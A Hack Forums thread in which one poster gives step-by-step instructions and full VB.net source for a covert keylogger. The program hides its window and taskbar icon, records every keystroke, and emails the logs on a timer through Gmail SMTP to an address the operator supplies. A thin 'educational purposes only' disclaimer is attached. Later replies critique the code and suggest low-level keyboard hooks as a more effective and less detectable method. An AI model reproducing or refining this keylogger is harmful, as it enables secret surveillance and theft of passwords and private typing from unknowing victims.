

Forum:[Hack Forums](#)

Thread: [How to make a simple email Keylogger - VB.net](#)

Clint Eastwood. - September 1, 2016, 3:20 am

Hello guys,

This is one of my first projects i done with VB.net.

its really simple Keylogger (sending keyloggs)

the code is really simple and it's great way to learn the basics of hacking

Lets start:

- First step is to creat new VB project - Form application with .Net 3.5

- Now we need to add to our form simple Textbox and name it: "txtLog"

Should look like that:[Here](#)

- Put 2 timers and name one of them "tmrEmail" and te second one "tmrKey"

- Set the 2 timers like on [THIS PICTURE](#), The "tmrEmail" interval is the time take the keylogger to send an email and the "tmrKey" interval it's on how much time the keylogger capture key strokes (the time is 60,000=1min)

Now for the code-Double click on the form (form1) and instert this code:(Explaining notes include on the code)

dont forgat put your email on the code [PICTURE HERE](#)

Code Option Strict On

Imports System.Net.Mail

'Created by- Momenzy ~HF

'Email sending keylogger in VB.Net

'This program is created for educational purposes only. Any misconduct and potential legal actions
'is placed upon ones' self and I face no liability for your actions

'Created by- Momenzy ~HF

'LS-Shnayder

Class Form1

'Allowing ourselves access to gather keystroke data

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short

Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick

Try

Dim smtpserver As New SmtpClient

smtpserver.EnableSsl = True

'email,password

smtpserver.Credentials = New Net.NetworkCredential("email", "password")

smtpserver.Port = 587

smtpserver.Host = "smtp.gmail.com"

'Configuring our email message

```
Dim mail As New MailMessage
mail = New MailMessage
mail.From = New MailAddress("sender email", "sender display name")
mail.To.Add("receiver email")
mail.Subject = ("New Key Log Data")
mail.Body = Txtlogs.Text
smtpserver.Send(mail)
```

```
Catch ex As Exception
    Me.Close()
```

```
End Try
End Sub
```

```
'timerKey code
```

```
Private Sub tmrKey_Tick(sender As Object, e As EventArgs) Handles tmrKey.Tick
```

```
    Dim result As Integer
    Dim key As String
    Dim i As Integer
```

```
'For statement to get our keystrokes (each time user click key)
```

```
For i = 2 To 90
```

```
    result = 0
```

```
    result = GetAsyncKeyState(i)
```

```
    If result = -32767 Then
```

```
        key = Chr(i)
```

```
        If i = 13 Then key = vbNewLine
```

```
        Exit For
```

```
    End If
```

```
Next i
```

```
'Determining if the user is typing in upper or lower case font
```

```
If key <> Nothing Then
```

```
    'if key = Caps/Shift Hold send the log with Capital letter
```

```
    If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
```

```
        Txtlogs.Text &= key
```

```
    'else letter = lower
```

```
    Else
```

```
        Txtlogs.Text &= key.ToLower
```

```
    End If
```

```
End If
```

```
'If the user clicks CTRL+ALT+V he turn the visibiity of the program to true (not visible anymore)
```

```
If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown
```

```
AndAlso key = "V" Then
```

```
    Me.Visible = True
```

```
End If
```

```
End Sub
```

```
'Send notification if the logger has been stopped (include time)
Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles
Me.FormClosed
    Txtlogs.Text &= vbNewLine & "Keylogger has been stopped at: " & Now & vbNewLine
End Sub
```

```
'Making our program invisible (invisibile Icon + Taskbar) + Keylogger injection time
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
    Me.ShowIcon = False
    Me.ShowInTaskbar = False
    Me.Visible = False
    Txtlogs.Text &= vbNewLine & "Keylogger started at: " & Now & vbNewLine
End Sub
```

End Class

That it, Now you can test it by clicking on the Start button and check if you receive all the keylogs to your email.

Hope someone will find this helpful ,
Feel free to ask any question/PM me for help ?

Zilog80 - September 1, 2016, 4:48 am
Alskling approves this thread.

<https://hackforums.net/showthread.php?tid=5379747>

3 post below (literally)

?

Clint Eastwood. - September 1, 2016, 7:15 am
(Sep 1, 2016 04:48 AM)Zilog80 Wrote: [\[CITE\]](#) Alskling approves this thread.

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3 post below (literally)

?

And? are you kidding me?

First of all i didn't even watch his tutorial, then i'm pretty sure it's completely different from what he published !

seconds, you can go to keylogger forum section and see how many threads are open that selling the same product (same as crypters and rats)! in programming we can make the same product with really different code and you can always learn something new,
go approve something else???

Zilog80 - September 1, 2016, 11:34 am

(Sep 1, 2016 07:15 AM)momenzy Wrote: [\[CITE\]](#) ...in programming we can make the same product with really different code and you can always learn something new...

Hope not to be rude, but your 'KeyLogger source' is like (see strong quote):

PHP Code
<?php

```

Private Sub Foo()
    Console.WriteLine("5 x 1 = " & 5 * 1)
    Console.WriteLine("5 x 2 = " & 5 * 2)
    Console.WriteLine("5 x 3 = " & 5 * 3)
    Console.WriteLine("5 x 4 = " & 5 * 4)
    Console.WriteLine("5 x 5 = " & 5 * 5)
    Console.WriteLine("5 x 6 = " & 5 * 6)
    Console.WriteLine("5 x 7 = " & 5 * 7)
    Console.WriteLine("5 x 8 = " & 5 * 8)
    Console.WriteLine("5 x 9 = " & 5 * 9)
    Console.WriteLine("5 x 10 = " & 5 * 10)
End Sub

```

Instead this:

PHP Code

```
<?php
```

```

Private Sub HaxorFoo(n As Integer, f As Integer, t As Integer)
    For i As Integer = f To t
        Console.WriteLine($"{n} x {i} = {n * i}")
    Next
End Sub

```

Usage:

```
HaxorFoo(5, 1, 10)
```

Both codes do the 'same' but...well you know.

Some tips:

GetAsyncKeyState, really?

Have you ever read something about 'keyboard hooks'?

Why is the reason for using TextBox control to 'log' keystrokes? You can use String variable, List Of(), Array, Collection or whatever to store keystrokes.

Timer for e-mail: Pretty useless. What happens if nobody press any key since 5 minutes? You will send 6 identical e-mails? (also sending e-mail each 30 seconds, say good bye to your Gmail account due to Google caps)

FormClosed event pretty useless too: you update your 'txtLog' but Timer e-mail don't send anything.

And finally: Why .NET 3.5? Some really good explanation? (You know since Win 8 .NET 2/3.5 isn't installed by default?)

Hope it helps.

Clint Eastwood. - September 1, 2016, 1:08 pm

(Sep 1, 2016 11:34 AM)Zilog80 Wrote: [\[CITE\]](#) Hope not to be rude, but your 'KeyLogger source' is like (see strong quote):

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Hope it helps. First of all ty for the tips,

This is .net 3.5 because it's kinda old project and the main idea of it is learning...

Vector.A+ - September 3, 2016, 11:05 pm

This technique is old plus its very heavy , use low level keyboard hooks :)

Rhez - September 4, 2016, 6:04 am

(Sep 3, 2016 11:05 PM)Vector.A+ Wrote: [\[CITE\]](#) This technique is old plus its very heavy , use low level keyboard hooks :)

And using this code, you can't capture the key, accurately.

Unknown_Hacker - September 6, 2016, 3:52 am

Keyboard hooks mate.

This will flag everything and everything at runtime for one

two, keyboard hooks are more elegant, less memory intensive and capture more better and faster

Dotexe - September 7, 2016, 8:06 am

When i saw "GetAsyncKeyState" i'm done not even worth to read the code